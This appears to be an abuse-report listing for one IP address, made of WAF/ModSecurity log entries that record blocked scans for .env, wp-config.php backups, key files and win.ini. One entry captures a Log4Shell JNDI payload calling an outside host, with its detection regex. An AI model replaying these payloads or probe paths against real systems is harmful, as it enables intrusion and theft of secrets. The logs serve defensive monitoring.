🇺🇸
TPI-Abuse
2026-06-01 01:54:22
(3 months ago)
(mod_security) mod_security (id:210730) triggered by 82.29.226.171 (-): 1 in the last 300 secs; Port ...
show more
(mod_security) mod_security (id:210730) triggered by 82.29.226.171 (-): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Sun May 31 21:54:03.175741 2026] [security2:error] [pid 15557:tid 15574] [client 82.29.226.171:52531] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/comodo_apache/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||kettlehill.kettlehill.com|F|2"] [data ".key"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "kettlehill.kettlehill.com"] [uri "/localhost.key"] [unique_id "ahzmO35hzq3cB4Zb4JrJmAAAAA8"]
show less
Brute-Force
Bad Web Bot
Web App Attack
🇦🇺
MAGIC
2026-03-01 00:32:38
(6 months ago)
VM1 Bad user agents ignoring web crawling rules. Draing bandwidth
DDoS Attack
Bad Web Bot
🇺🇸
TPI-Abuse
2026-02-01 11:44:58
(7 months ago)
(mod_security) mod_security (id:210492) triggered by 82.29.226.171 (-): 1 in the last 300 secs; Port ...
show more
(mod_security) mod_security (id:210492) triggered by 82.29.226.171 (-): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Sun Feb 01 06:44:52.828752 2026] [security2:error] [pid 16721:tid 16881] [client 82.29.226.171:50269] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/comodo_apache/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "kettlehill.com"] [uri "/wp-config.php.original"] [unique_id "aX88tLZSDMB2xJcUTnRhEQAAApI"]
show less
Brute-Force
Bad Web Bot
Web App Attack
🇩🇪
raspi4
2025-12-31 19:23:12
(8 months ago)
Fail2Ban Ban Triggered
Brute-Force
Web App Attack
🇺🇸
TPI-Abuse
2025-12-02 22:46:12
(9 months ago)
(mod_security) mod_security (id:210492) triggered by 82.29.226.171 (-): 1 in the last 300 secs; Port ...
show more
(mod_security) mod_security (id:210492) triggered by 82.29.226.171 (-): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Tue Dec 02 17:46:05.316544 2025] [security2:error] [pid 26794:tid 26794] [client 82.29.226.171:57719] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/comodo_apache/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "cpcalendars.farmers123.com"] [uri "/.env.save"] [unique_id "aS9sLXM52ea2eOtAWPYXRgAAAAY"]
show less
Brute-Force
Bad Web Bot
Web App Attack
🇺🇸
TPI-Abuse
2025-12-01 07:06:48
(9 months ago)
(mod_security) mod_security (id:210492) triggered by 82.29.226.171 (-): 1 in the last 300 secs; Port ...
show more
(mod_security) mod_security (id:210492) triggered by 82.29.226.171 (-): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Mon Dec 01 02:06:43.136261 2025] [security2:error] [pid 5083:tid 5090] [client 82.29.226.171:40967] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/comodo_apache/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "cpanel.kettlehill.com"] [uri "/.env.stage"] [unique_id "aS0-g7lODMhtlQGnj5dEEwAAAEQ"]
show less
Brute-Force
Bad Web Bot
Web App Attack
🇺🇸
TPI-Abuse
2025-10-29 05:56:41
(10 months ago)
(mod_security) mod_security (id:248270) triggered by 82.29.226.171 (-): 1 in the last 300 secs; Port ...
show more
(mod_security) mod_security (id:248270) triggered by 82.29.226.171 (-): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Wed Oct 29 01:56:34.443027 2025] [security2:error] [pid 1557:tid 1557] [client 82.29.226.171:52729] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\$\\\\{jndi:(ldaps?|rmi|dns|iiop|nis|nds|corba|\\\\$\\\\{(?:lower|upper)):" at REQUEST_HEADERS:Accept. [file "/etc/apache2/conf.d/modsec_vendor_configs/comodo_apache/30_Apps_OtherApps.conf"] [line "7626"] [id "248270"] [rev "1"] [msg "COMODO WAF: Remote code execution in Apache log4j||nbcnewsradio.com:80|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "nbcnewsradio.com"] [uri "/"] [unique_id "aQGsktsTKvnvEhpIFOE2egAAAAQ"], referer: ${jndi:ldap://${:-785}${:-646}.${hostName}.referer.d40qmdpnpe1pc6b7425gx5jntd3bbsxiz.rsfi.info}
show less
Brute-Force
Bad Web Bot
Web App Attack
🇺🇸
TPI-Abuse
2025-10-01 15:02:41
(11 months ago)
(mod_security) mod_security (id:210492) triggered by 82.29.226.171 (-): 1 in the last 300 secs; Port ...
show more
(mod_security) mod_security (id:210492) triggered by 82.29.226.171 (-): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Wed Oct 01 11:02:00.027558 2025] [security2:error] [pid 12475:tid 12498] [client 82.29.226.171:42781] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/comodo_apache/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "ftp.kettlehill.net"] [uri "/wp-config.php.swp"] [unique_id "aN1CaGCKjmgjI9kURFKLCAAAAVM"]
show less
Brute-Force
Bad Web Bot
Web App Attack
🇺🇸
TPI-Abuse
2025-08-01 07:47:38
(1 year ago)
(mod_security) mod_security (id:210730) triggered by 82.29.226.171 (-): 1 in the last 300 secs; Port ...
show more
(mod_security) mod_security (id:210730) triggered by 82.29.226.171 (-): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Fri Aug 01 03:47:34.230887 2025] [security2:error] [pid 3332372:tid 3332374] [client 82.29.226.171:37249] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/comodo_apache/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||ftp.kettlehill.com|F|2"] [data ".ini"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "ftp.kettlehill.com"] [uri "/\\\\windows/win.ini"] [unique_id "aIxxFh33aKcnOojmIbhr9QAAAoA"]
show less
Brute-Force
Bad Web Bot
Web App Attack
🇺🇸
TPI-Abuse
2025-06-01 14:44:52
(1 year ago)
(mod_security) mod_security (id:210730) triggered by 82.29.226.171 (-): 1 in the last 300 secs; Port ...
show more
(mod_security) mod_security (id:210730) triggered by 82.29.226.171 (-): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Sun Jun 01 10:44:47.302844 2025] [security2:error] [pid 2928818:tid 2928818] [client 82.29.226.171:58715] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/comodo_apache/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||autodiscover.nbcnewsradio.com|F|2"] [data ".key"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "autodiscover.nbcnewsradio.com"] [uri "/www.key"] [unique_id "aDxnXyhcDBZDewijXKVQDwAAAAA"]
show less
Brute-Force
Bad Web Bot
Web App Attack
🇺🇸
TPI-Abuse
2025-06-01 05:38:47
(1 year ago)
(mod_security) mod_security (id:210492) triggered by 82.29.226.171 (-): 1 in the last 300 secs; Port ...
show more
(mod_security) mod_security (id:210492) triggered by 82.29.226.171 (-): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Sun Jun 01 01:38:38.089738 2025] [security2:error] [pid 2256136:tid 2256204] [client 82.29.226.171:59779] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/comodo_apache/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "ftp.kettlehill.net"] [uri "/wp-config.php.original"] [unique_id "aDvnXrVUnYIqO9hNDIS_igAAAIA"]
show less
Brute-Force
Bad Web Bot
Web App Attack
2025-05-31 22:10:01
(1 year ago)
| Common web attack.
Hacking
SQL Injection
Web App Attack
🇺🇸
TPI-Abuse
2025-05-28 19:53:59
(1 year ago)
(mod_security) mod_security (id:210492) triggered by 82.29.226.171 (-): 1 in the last 300 secs; Port ...
show more
(mod_security) mod_security (id:210492) triggered by 82.29.226.171 (-): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Wed May 28 15:53:53.024009 2025] [security2:error] [pid 1804787:tid 1804787] [client 82.29.226.171:47479] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/comodo_apache/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "farmers123.com"] [uri "/sftp-config.json"] [unique_id "aDdp0ZhjnbjQH91Pnu9yhQAAAAg"]
show less
Brute-Force
Bad Web Bot
Web App Attack
🇳🇱
EGP Abuse Dept
2025-05-17 13:12:12
(1 year ago)
SQL injection attack
SQL Injection